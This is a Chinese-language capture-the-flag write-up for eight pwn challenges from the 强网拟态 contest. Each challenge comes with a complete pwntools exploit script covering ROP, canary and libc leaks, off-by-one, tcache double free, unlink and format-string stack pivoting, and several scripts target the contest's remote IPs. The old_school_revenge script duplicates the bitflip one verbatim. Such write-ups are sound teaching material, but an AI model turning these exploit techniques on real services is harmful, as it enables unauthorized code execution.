强网拟态 wp

1.sonic

简单题,没什么好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
from LibcSearcher import*
context.log_level='debug'
#p = process('./sonic')
p = remote('123.60.63.90',6890)
elf = ELF('./sonic')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
#libc = ELF("./libc-2.27.so")
p.recvuntil("Address=")
ad = int(p.recv(14),16) - 0x7cf
execve = ad + 0x0000000000000610
bss = 0x000000000201040 + ad
rdi = ad + 0x00000000000008c3#pop rdi ; ret
rsi = ad + 0x00000000000008c1#pop rsi ; pop r15 ; ret
log.info("ad: " + hex(ad))
payload = "/bin/sh\x00" + "b"*0x18 + p64(0) + p64(rdi) + p64(bss) + p64(rsi) + p64(0)*2 + p64(execve)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

2.pwnpwn

也是简单题,泄露了canary之后,直接rop(给了/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

#p = process("./pwnpwn")
p = remote("124.71.156.217",49153)

p.sendlineafter("something\n","1")
p.recvuntil("trick\n")
pie = int(p.recv(14),16) - 0x9b9
bin_ad = 0x000000000202010 + pie
sys_ad = 0x0000000000000808 + pie
rdi = 0x0000000000000b83 + pie
rsi = 0x0000000000000b81 + pie
log.info("ad: " + hex(pie))
p.sendline("2")
p.recvuntil("hello")
p.sendline("2")

p.sendline("%21$p")
canary = int(p.recvuntil("00")[3:],16)
log.info("ad: " + hex(canary))
p.sendline("2")
payload = "a"*0x68 + p64(canary)*2 + p64(rdi) + p64(bin_ad) + p64(rsi) + p64(0)*2
payload += p64(sys_ad)
p.sendline(payload)

p.interactive()

3.old_school

这个可以当做off-by-one的经典题,堆的大小限制为0x100,数量0x1f等于没有限制(唯手熟尔x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

#p = process("./old_school")
p = remote("121.36.194.21",49154)
libc = ELF("./libc-2.27.so")
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def add(idx,size):
p.sendlineafter("choice: ","1")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))

def edit(idx,con):
p.sendlineafter("choice: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",con)

def show(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ",str(idx))

def free(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("Index: ",str(idx))

add(0,0x28)
add(1,0x38)
add(2,0x48)
add(3,0x100)
add(4,0x100)
add(5,0x100)
add(6,0x100)
add(7,0x100)
edit(0,"/bin/sh\x00" + "a"*0x20 + p8(0x91))
free(1)
add(8,0x80)
edit(8,"a"*0x30 + p64(0) + p64(0x491) + "\n")
free(2)
add(9,0x48)
show(3)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
sys_ad = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
log.info("libc_base: " + hex(libc_base))
log.info("free_hook: " + hex(free_hook))
add(10,0x40)
free(10)
edit(3,p64(free_hook) + "\n")
add(11,0x40)
add(12,0x40)
edit(12,p64(sys_ad) + "\n")
free(0)
#gdb.attach(p)
p.interactive()

4.bitflip

old_school的进阶版,堆的大小限制为0x50,思路还是和old_school一样无非是多分配几个堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

#p = process("./pwn")
p = remote("123.60.63.39",49153)
libc = ELF('./libc-2.27.so')

def add(size,idx):
p.sendlineafter("choice: ","1")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
def edit(idx,con):
p.sendlineafter("choice: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",con)

def show(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ",str(idx))

def free(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("Index: ",str(idx))

for i in range(7):
add(0xf8,i)#0 - 6
add(0xf8,7)#7
add(0x88,8)#8
add(0xf8,9)#9
add(0x88,10)#10
for i in range(7):
free(i)#0 - 6
free(8)
free(7)
add(0x88,11)
edit(11,"a"*0x80+p64(0x90+0x100) + "\n")
free(9)
for i in range(7):
add(0xf8,i)

edit(0,"/bin/sh\x00" + "\n")
add(0xf8,12)
show(12)

p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 736 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))

sys_addr = libc.sym["system"] + libc_base
free_hook = libc.sym["__free_hook"] + libc_base

add(0x88,13)

free(13)

edit(11,p64(free_hook) + "\n")
add(0x88,14)
add(0x88,15)
edit(15,p64(sys_addr) + "\n")
free(0)
#gdb.attach(p)
p.interactive()

5.old_school_revenge

堆的大小限制为0x100,这个好像要麻烦一点点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

#p = process("./pwn")
p = remote("123.60.63.39",49153)
libc = ELF('./libc-2.27.so')

def add(size,idx):
p.sendlineafter("choice: ","1")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
def edit(idx,con):
p.sendlineafter("choice: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",con)

def show(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ",str(idx))

def free(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("Index: ",str(idx))

for i in range(7):
add(0xf8,i)#0 - 6
add(0xf8,7)#7
add(0x88,8)#8
add(0xf8,9)#9
add(0x88,10)#10
for i in range(7):
free(i)#0 - 6
free(8)
free(7)
add(0x88,11)
edit(11,"a"*0x80+p64(0x90+0x100) + "\n")
free(9)
for i in range(7):
add(0xf8,i)

edit(0,"/bin/sh\x00" + "\n")
add(0xf8,12)
show(12)

p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 736 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))

sys_addr = libc.sym["system"] + libc_base
free_hook = libc.sym["__free_hook"] + libc_base

add(0x88,13)

free(13)

edit(11,p64(free_hook) + "\n")
add(0x88,14)
add(0x88,15)
edit(15,p64(sys_addr) + "\n")
free(0)
#gdb.attach(p)
p.interactive()

赛后复现版house of einherjar(确实简单x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

p = process("./old_school_revenge")
#p = remote("123.60.63.39",49153)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def add(idx,size):
p.sendlineafter("choice: ","1")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))

def edit(idx,con):
p.sendlineafter("choice: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",con)

def show(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ",str(idx))

def free(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("Index: ",str(idx))

for i in range(7):
add(i,0xf8)
add(7,0xf8)
add(8,0x88)
add(9,0xf8)
add(10,0x88)
edit(10,"/bin/sh\x00" + "\n")
for i in range(7):
free(i)
free(7)
edit(8,"a"*0x80 + p64(0x190) + "\n")
free(9)
add(11,0x78)
add(12,0x78)
add(13,0x88)

show(12)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
free(8)
edit(13,p64(free_hook) + '\n')
add(14,0x88)
add(15,0x88)
edit(15,p64(sys_ad) + "\n")
free(10)
#gdb.attach(p)
p.interactive()

6.random_heap

堆的大小随机+libc-2.27,由于程序中存在uaf,我的思路是doublefree到
free_hook写system,概率为1/256
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

'''
libc_path = './libc-2.27.so'
ld_path = '/lib/x86_64-linux-gnu/ld-2.27.so'
libc = ELF('./libc-2.27.so')
p = process([ld_path, "./aaa"], env={"LD_PRELOAD":libc_path})
'''
libc = ELF("./libc-2.27.so")
p = remote("124.71.140.198",49155)

def add(idx,size):
p.sendlineafter("choice: ","1")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))

def edit(idx,con):
p.sendlineafter("choice: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",con)

def show(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ",str(idx))

def free(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("Index: ",str(idx))

def exp():
add(0,0x100)
add(1,0x100)
edit(1,"/bin/sh\x00" + "\n")
for i in range(7):
free(0)
edit(0,"a"*8 + "\n")
free(0)
show(0)
p.recvuntil("Content: ")
ad = u64(p.recv(6).ljust(8,"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
sys_ad = ad + libc.sym["system"]
free_hook = ad + libc.sym["__free_hook"]
edit(0,p64(free_hook) + "\n")
log.info("ad: " + hex(ad))
add(2,0x100)
add(3,0x100)
edit(3,p64(sys_ad) + "\n")
free(1)
p.interactive()

count = 0
while(1):
p = remote("124.71.140.198",49155)
log.info("count: " + str(count))
count+=1
try:
exp()
except:
p.close()

无视堆大小的做法

7.bornote

libc-2.31下的unlink,没啥东西,构造好堆,就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
p = process("./bornote")
context(log_level = "debug")

def add(size):
p.sendlineafter("cmd: ","1")
p.sendlineafter("Size: ",str(size))

def free(idx):
p.sendlineafter("cmd: ","2")
p.sendlineafter("Index: ",str(idx))

def edit(idx,note):
p.sendlineafter("cmd: ","3")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Note: ",note)

def show(idx):
p.sendlineafter("cmd: ","4")
p.sendlineafter("Index: ",str(idx))

p.sendlineafter("username: ","archer")
add(0x478)#0
add(0xf8)#1
free(0)
add(0xf8)#0
show(0)
p.recvuntil("Note: ")
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 1104 - 0x30 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
log.info("free_hook: " + hex(free_hook))
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base: " + hex(libc_base))
add(0xf8)#2 0x55555556bc90
free(2)
free(0)
add(0xf8)#0 0x55555556bb90
show(0)
p.recvuntil("Note: ")
heap = u64(p.recv(6).ljust(8,b"\x00")) - 0x110
log.info("heap: " + hex(heap))
add(0x118)#2 heap + 512
add(0xf8)#3
add(0xf8)#4 heap + 800
fd = heap + 512 + 0x30 - 0x18
bk = heap + 512 + 0x30 - 0x10
payload = p64(0) + p64(0x111) + p64(fd) + p64(bk) + p64(heap + 512 + 0x10)
payload = payload.ljust(0x110,b"\x00")
payload += p64(0x110)
for i in range(5):
add(0xf8)
for i in range(5):
free(i + 5) # 5 - 10
free(1)
free(0)
add(0x58)#0
edit(2,payload)
free(4)
add(0x48)#1
add(0x48)#4
free(4)
free(1)

payload = p64(0) + p64(0x51) + p64(free_hook)
edit(2,payload)
add(0x48)#1
edit(1,"/bin/sh\x00")
add(0x48)#4
edit(4,p64(sys_ad))
free(1)
p.interactive()

8.oldecho

close(1)关闭了输出,不能像常规题一样泄露libc,pie,然后orw,由于后面没有stdout的指针,
只能调整栈到前面一点点,从而利用残留的stdout指针,改fileno,然后就是正常的栈迁移,orw。
思路参考(https://fmyy.pro/2020/10/19/Competition/CISCN-FINAL-2020/#Day2-Pwn3)
这波属实是原题复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

libc_path = './libc.so.6'
ld_path = '/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so'

#p = process([ld_path, "./oldecho"], env={"LD_PRELOAD":libc_path})
p = remote("123.60.32.152",49154)
global count
count = 0
while True:
#p = process([ld_path, "./oldecho"], env={"LD_PRELOAD":libc_path})
p = remote("123.60.32.152",49154)
count += 1
log.info("num: " + str(count))
try:
p.recvuntil('Gift: ')
stack = int(p.recv(14),16)
offset = 9
retval = stack&0xFFFF
if retval > 0x2000:
p.close()
continue

p.sendline('%' + str((stack&0xFF - 0x10)) + 'c%6$hhn')
p.sendline('%103c%10$hhn')
#103 = 0x67这个地方对应fmyy那个调用函数调栈,好像不能用别的函数,至少我用别的没打通过

p.sendline('%' + str((stack - 0x30)&0xFFFF) + 'c%6$hn')
p.sendline('%'+str(0x1a90)+'c%10$hn')
#不能是0x28,改成start的地址

p.sendline('%' + str((stack - 0x78)&0xFFFF) + 'c%6$hn')
p.sendline('%144c%10$hhn')
# 144 = 0x90 0x70处应该也有个stdout,但是gdb调试中发现没了

p.sendline('%2c%30$naaaa')#对应0x78处的stdout -> fileno改成2
p.recvuntil('aaaa',timeout=0.5)
p.sendline('LIBC:%13$pProc:%9$p')#泄露Libc+pie
p.recvuntil('LIBC:')

libc_base = int(p.recv(14),16) - 0x20840
log.info('LIBC:\t' + hex(libc_base))

p.recvuntil('Proc:')
proc_base = int(p.recv(14),16) - 0x202040
log.info('Proc:\t' + hex(proc_base))

pop_rsi_ret = libc_base + 0x00000000000202f8
pop_rdi_ret = libc_base + 0x0000000000021112
pop_rdx_ret = libc_base + 0x0000000000001b92
pop_rdx_rsi = libc_base + 0x00000000001151c9
leave = proc_base + 0xe3e
Open = libc_base + 0xf7130
Read = libc_base + 0xf7350
Puts = libc_base + 0x6f6a0
Write = libc_base + 0xf73b0

orw = './flag\x00\x00' + p64(pop_rdi_ret) + p64(proc_base + 0x202058) + p64(pop_rdx_rsi) + p64(0)*2 + p64(Open)
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x50) + p64(proc_base + 0x202040 + 0x100) + p64(Read)
orw += p64(pop_rdi_ret) + p64(proc_base + 0x202040 + 0x100) + p64(Puts)
#orw += p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi) + p64(0x50) + p64(proc_base + 0x202040 + 0x100) + p64(Write)
#正常的orw
#栈迁移到bss上面执行orw
p.sendline('%' + str((stack - 0x138)&0xFFFF) + 'c%14$hn')
p.sendline('%'+str((proc_base + 0x202058)&0xFF)+'c%40$hhn')

for i in range(1,6):
p.sendline('%' + str((stack - 0x138 + i)&0xFF) + 'c%14$hhn')
p.sendline('%'+str(((proc_base + 0x202040 + 0x18)>>(i*8))&0xFF)+'c%40$hhn')
#调用leave; ret进入orw
p.sendline('%' + str((stack - 0x130)&0xFF) + 'c%14$hhn')
payload = '%' + str(leave&0xffff) + "c%40$hn"
payload = payload.ljust(0x18,'\x00') + orw
p.sendline(payload)
break
except:
p.close()
continue
p.interactive()

flag

1
flag{NpfH6fzHStuKl2CRfvheXWyKO3Bz60F5}